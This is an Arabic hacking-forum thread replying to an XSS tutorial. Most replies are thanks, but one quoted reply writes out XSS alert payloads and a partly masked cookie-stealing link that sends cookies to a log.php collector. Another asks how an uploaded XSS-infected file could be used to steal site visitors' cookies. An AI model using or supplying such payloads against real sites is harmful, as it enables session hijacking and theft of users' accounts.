[ تم التجديد ] ~ شرح كامل متكامل لتغرات xss ~ | احترافي ..~

يعطيك الف الف عافيه يا غالي.........

اقتباس المشاركة الأصلية كتبت بواسطة mass1993 يعطيك العافية اخوي عالشرح ...ولكن عندي استفسار: انا عندي سيرفر شخصي اباتشي اصدار 2.5.8 ووضعت ملف الثغرة فيه وكل اشي تمام...ولكن لما كتبت هذا الكود بالمتصفح: كود: '"--></style></script>***************("Www.VBspiders.com")</script> وضغطت انتر ما طلعلي تنبيه في المتصفح وطبعلي التاليي: كود: \'\" ولكن لما كتبت الامر هذا : كود: '"--></style></script>***************(4444444)</script> وضغطت انتر طلع التنبيه وكل اشي تمام... ولكن لما اجيت احط هذا الامر: كود: "><a href="#" onclick="********.location='http://localhost/log.php' +escape(********.******);"><Click Me></a></script> ورحت لملف nor15din ما لقيت اشي فيه...اخوي شو هالمشكلة بالله عليك وليش صار هيك معي؟؟؟ تحياتي

يعطيك العافيه حبيبي فولكانو

الشرح جميل جدا وممتاز على الي يعانو من هذه الثغرة

والله الاخ ما قصر في شرحها واصل حبيبي

تسـلم كثير حبيبي .,,
شرحك واضح + جميل !
cry
هههههه

باراك الله فيك نور موضوع قوي

بارك الله فبك بس انا عندي استفسار بسيط

هل يمكن ان نرفع ملف علي موفع معين ويكون هذا الملف مصاب بثغره xss
ونقوم نحن باستغلال هذا الملف ,ولا لازم يكون الموقع ذات نفسه يكون مصاب بثغره xss
علشان نسرف الكوكيز

وهل سرقه الكوكيز للاعضاء المسجلين في الموقع ققط ولا لكل من يدخل علي الموقع من الزوار

انا اسف اطلت عليك ولكن اردت ان تكتمل الصوره في مخيلتي